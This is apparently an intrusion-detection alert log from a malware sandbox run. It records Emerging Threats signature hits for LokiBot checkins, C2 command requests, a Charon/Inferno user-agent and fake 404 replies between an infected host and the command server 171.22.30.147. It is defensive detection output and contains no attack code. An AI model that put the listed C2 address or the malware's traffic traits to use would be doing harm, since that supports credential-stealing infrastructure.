Timestamp:	192.168.2.3171.22.30.14749877802024313 01/05/23-08:53:03.433942
SID:	2024313
Source Port:	49877
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749906802024313 01/05/23-08:53:12.686115
SID:	2024313
Source Port:	49906
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749948802825766 01/05/23-08:53:24.079081
SID:	2825766
Source Port:	49948
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750003802021641 01/05/23-08:53:40.763519
SID:	2021641
Source Port:	50003
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749877802024318 01/05/23-08:53:03.433942
SID:	2024318
Source Port:	49877
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749929802021641 01/05/23-08:53:18.948979
SID:	2021641
Source Port:	49929
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498652025483 01/05/23-08:53:00.312861
SID:	2025483
Source Port:	80
Destination Port:	49865
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749906802024318 01/05/23-08:53:12.686115
SID:	2024318
Source Port:	49906
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749735802021641 01/05/23-08:52:21.259701
SID:	2021641
Source Port:	49735
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750063802021641 01/05/23-08:53:58.331391
SID:	2021641
Source Port:	50063
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750021802024313 01/05/23-08:53:46.361205
SID:	2024313
Source Port:	50021
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498542025483 01/05/23-08:52:57.330801
SID:	2025483
Source Port:	80
Destination Port:	49854
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749943802825766 01/05/23-08:53:22.718924
SID:	2825766
Source Port:	49943
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498432025483 01/05/23-08:52:54.345838
SID:	2025483
Source Port:	80
Destination Port:	49843
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750068802021641 01/05/23-08:53:59.646284
SID:	2021641
Source Port:	50068
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749907802024313 01/05/23-08:53:12.956728
SID:	2024313
Source Port:	49907
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749901802024318 01/05/23-08:53:11.357263
SID:	2024318
Source Port:	49901
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380500402025483 01/05/23-08:53:52.223381
SID:	2025483
Source Port:	80
Destination Port:	50040
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749708802021641 01/05/23-08:52:10.789251
SID:	2021641
Source Port:	49708
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749907802024318 01/05/23-08:53:12.956728
SID:	2024318
Source Port:	49907
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749771802825766 01/05/23-08:52:31.374001
SID:	2825766
Source Port:	49771
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749761802025381 01/05/23-08:52:28.591148
SID:	2025381
Source Port:	49761
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749850802025381 01/05/23-08:52:56.172529
SID:	2025381
Source Port:	49850
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499692025483 01/05/23-08:53:31.862339
SID:	2025483
Source Port:	80
Destination Port:	49969
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750030802021641 01/05/23-08:53:49.383588
SID:	2021641
Source Port:	50030
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750062802825766 01/05/23-08:53:58.073723
SID:	2825766
Source Port:	50062
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749978802025381 01/05/23-08:53:34.155329
SID:	2025381
Source Port:	49978
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380500812025483 01/05/23-08:54:03.316072
SID:	2025483
Source Port:	80
Destination Port:	50081
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749883802025381 01/05/23-08:53:05.037332
SID:	2025381
Source Port:	49883
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749889802025381 01/05/23-08:53:06.674333
SID:	2025381
Source Port:	49889
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749724802025381 01/05/23-08:52:18.098497
SID:	2025381
Source Port:	49724
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750069802021641 01/05/23-08:53:59.913079
SID:	2021641
Source Port:	50069
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749794802025381 01/05/23-08:52:39.439392
SID:	2025381
Source Port:	49794
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749834802021641 01/05/23-08:52:50.512718
SID:	2021641
Source Port:	49834
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749926802024318 01/05/23-08:53:18.143087
SID:	2024318
Source Port:	49926
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750059802825766 01/05/23-08:53:57.279795
SID:	2825766
Source Port:	50059
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499282025483 01/05/23-08:53:18.757059
SID:	2025483
Source Port:	80
Destination Port:	49928
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749892802025381 01/05/23-08:53:07.470439
SID:	2025381
Source Port:	49892
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749767802825766 01/05/23-08:52:30.299348
SID:	2825766
Source Port:	49767
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749926802024313 01/05/23-08:53:18.143087
SID:	2024313
Source Port:	49926
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749780802025381 01/05/23-08:52:35.511333
SID:	2025381
Source Port:	49780
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749918802025381 01/05/23-08:53:15.920283
SID:	2025381
Source Port:	49918
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749808802024313 01/05/23-08:52:43.325468
SID:	2024313
Source Port:	49808
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749987802025381 01/05/23-08:53:36.549688
SID:	2025381
Source Port:	49987
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750043802825766 01/05/23-08:53:52.949985
SID:	2825766
Source Port:	50043
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750072802021641 01/05/23-08:54:00.683642
SID:	2021641
Source Port:	50072
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749713802024313 01/05/23-08:52:12.826844
SID:	2024313
Source Port:	49713
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749808802024318 01/05/23-08:52:43.325468
SID:	2024318
Source Port:	49808
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749897802024313 01/05/23-08:53:09.055046
SID:	2024313
Source Port:	49897
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749705802025381 01/05/23-08:52:09.363911
SID:	2025381
Source Port:	49705
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749857802825766 01/05/23-08:52:58.054307
SID:	2825766
Source Port:	49857
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749963802024313 01/05/23-08:53:30.141323
SID:	2024313
Source Port:	49963
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749897802024318 01/05/23-08:53:09.055046
SID:	2024318
Source Port:	49897
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749963802024318 01/05/23-08:53:30.141323
SID:	2024318
Source Port:	49963
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498352025483 01/05/23-08:52:50.990352
SID:	2025483
Source Port:	80
Destination Port:	49835
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749823802025381 01/05/23-08:52:47.379297
SID:	2025381
Source Port:	49823
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749910802024318 01/05/23-08:53:13.740225
SID:	2024318
Source Port:	49910
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749755802021641 01/05/23-08:52:26.961334
SID:	2021641
Source Port:	49755
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749768802825766 01/05/23-08:52:30.564042
SID:	2825766
Source Port:	49768
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749912802025381 01/05/23-08:53:14.329479
SID:	2025381
Source Port:	49912
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749910802024313 01/05/23-08:53:13.740225
SID:	2024313
Source Port:	49910
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499582025483 01/05/23-08:53:27.313519
SID:	2025483
Source Port:	80
Destination Port:	49958
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749793802025381 01/05/23-08:52:39.171445
SID:	2025381
Source Port:	49793
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499392025483 01/05/23-08:53:21.712762
SID:	2025483
Source Port:	80
Destination Port:	49939
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380500702025483 01/05/23-08:54:00.237420
SID:	2025483
Source Port:	80
Destination Port:	50070
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750006802825766 01/05/23-08:53:41.552586
SID:	2825766
Source Port:	50006
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499172025483 01/05/23-08:53:15.716958
SID:	2025483
Source Port:	80
Destination Port:	49917
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749713802024318 01/05/23-08:52:12.826844
SID:	2024318
Source Port:	49713
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749722802024313 01/05/23-08:52:17.506386
SID:	2024313
Source Port:	49722
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749811802024318 01/05/23-08:52:44.140113
SID:	2024318
Source Port:	49811
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749976802024313 01/05/23-08:53:33.629058
SID:	2024313
Source Port:	49976
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749811802024313 01/05/23-08:52:44.140113
SID:	2024313
Source Port:	49811
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749976802024318 01/05/23-08:53:33.629058
SID:	2024318
Source Port:	49976
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749982802024313 01/05/23-08:53:35.215314
SID:	2024313
Source Port:	49982
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749722802024318 01/05/23-08:52:17.506386
SID:	2024318
Source Port:	49722
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749777802021641 01/05/23-08:52:34.550245
SID:	2021641
Source Port:	49777
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749982802024318 01/05/23-08:53:35.215314
SID:	2024318
Source Port:	49982
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750046802024313 01/05/23-08:53:53.748051
SID:	2024313
Source Port:	50046
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749782802024318 01/05/23-08:52:36.098088
SID:	2024318
Source Port:	49782
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749909802025381 01/05/23-08:53:13.489642
SID:	2025381
Source Port:	49909
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497182025483 01/05/23-08:52:15.558526
SID:	2025483
Source Port:	80
Destination Port:	49718
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750046802024318 01/05/23-08:53:53.748051
SID:	2024318
Source Port:	50046
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749782802024313 01/05/23-08:52:36.098088
SID:	2024313
Source Port:	49782
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497292025483 01/05/23-08:52:19.632996
SID:	2025483
Source Port:	80
Destination Port:	49729
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750000802025381 01/05/23-08:53:39.996140
SID:	2025381
Source Port:	50000
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749764802021641 01/05/23-08:52:29.472789
SID:	2021641
Source Port:	49764
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749995802024313 01/05/23-08:53:38.676723
SID:	2024313
Source Port:	49995
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749737802025381 01/05/23-08:52:21.818381
SID:	2025381
Source Port:	49737
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750029802025381 01/05/23-08:53:49.112211
SID:	2025381
Source Port:	50029
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750027802024318 01/05/23-08:53:48.599181
SID:	2024318
Source Port:	50027
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497072025483 01/05/23-08:52:10.429352
SID:	2025483
Source Port:	80
Destination Port:	49707
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749995802024318 01/05/23-08:53:38.676723
SID:	2024318
Source Port:	49995
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749853802021641 01/05/23-08:52:56.960046
SID:	2021641
Source Port:	49853
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749866802825766 01/05/23-08:53:00.520534
SID:	2825766
Source Port:	49866
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750027802024313 01/05/23-08:53:48.599181
SID:	2024313
Source Port:	50027
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749778802024313 01/05/23-08:52:34.958959
SID:	2024313
Source Port:	49778
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749968802021641 01/05/23-08:53:31.490288
SID:	2021641
Source Port:	49968
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499842025483 01/05/23-08:53:35.825003
SID:	2025483
Source Port:	80
Destination Port:	49984
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749811802825766 01/05/23-08:52:44.140113
SID:	2825766
Source Port:	49811
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380500252025483 01/05/23-08:53:48.167670
SID:	2025483
Source Port:	80
Destination Port:	50025
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749873802021641 01/05/23-08:53:02.352866
SID:	2021641
Source Port:	49873
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

